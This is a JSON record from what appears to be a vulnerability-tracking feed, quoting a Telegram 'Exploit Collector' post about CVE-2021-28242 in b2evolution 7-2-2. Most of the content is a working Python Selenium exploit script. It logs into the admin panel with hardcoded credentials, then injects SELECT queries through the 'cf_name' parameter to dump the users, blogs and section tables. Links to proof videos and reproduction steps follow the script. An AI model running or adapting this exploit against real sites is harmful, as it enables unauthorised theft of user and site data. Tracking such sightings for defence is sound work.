{"uuid": "26c98d45-4bf0-4bd1-8a25-4fbd37718991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28242", "type": "seen", "source": "https://t.me/hacking_Attack/7570", "content": "Exploit Collector\nb2evolution 7-2-2 SQL Injection\n\nhttps://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png b2evolution version 7-2-2 suffers from a remote SQL injection vulnerability.\n\nMD5 | 1ced09b619490337be3ea86e23221667Download # Exploit Title: b2evolution 7-2-2 obtaining sensitive database information by injecting SQL commands into the \"cf_name\" parameter\n# Author: @nu11secur1ty\n# Testing and Debugging: @nu11secur1ty\n# Date: 05.06.2021\n# Vendor: https://b2evolution.net/\n# Link: https://b2evolution.net/downloads/7-2-2\n# CVE: CVE-2021-28242\n# Proof: https://streamable.com/x51kso\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28242\nfrom selenium import webdriver\nimport time\n# Vendor: https://typo3.org/\nwebsite_link=\"\nhttp://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link\n\"\n\n# enter your login username\nusername=\"admin\"\n\n# enter your login password\npassword=\"FvsDq7fmHvWF\"\n\n#enter the element for username input field\nelement_for_username=\"x\"\n\n#enter the element for password input field\nelement_for_password=\"q\"\n\n#enter the element for submit button\nelement_for_submit=\"login_action[login]\"\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit vulnerability MySQL obtain sensitive database information by\ninjecting SQL commands into the \"cf_name\" parameter\ntime.sleep(7)\n# Receaving sensitive info for evo_users\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\n\"))\n\ntime.sleep(7)\n# Receaving sensitive info for evo_blogs\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_blogs`%20ORDER%20BY%20`evo_blogs`.`blog_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\n\"))\n\ntime.sleep(7)\n# Receaving sensitive info for evo_section\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_section`%20ORDER%20BY%20`evo_section`.`sec_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\"))\ntime.sleep(7)\nbrowser.close()\nprint(\"At the time, of the exploit, you had to see information about the\ntables...\\n\")\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Sorry, your exploit is not working for some reasons...\")\n\n---------------------------------\n\n# Exploit Title: b2evolution 7-2-2 obtaining sensitive database information\nby injecting SQL commands into the \"cf_name\" parameter\n# Date: 05.06.2021\n# Exploit Authotr idea: @nu11secur1ty\n# Exploit Debugging: @nu11secur1ty\n# Vendor Homepage: https://b2evolution.net/\n# Software Link: https://b2evolution.net/downloads/7-2-2\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28242\n\n-- \nSystem Administrator - Infrastructure Engineer\nPenetration Testing Engineer\nExploit developer at https://www.exploit-db.com/\nhttps://www.nu11secur1ty.com/\nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\nnu11secur1ty <http: Source:packetst[...]", "creation_timestamp": "2026-09-01T20:02:44.490563Z"}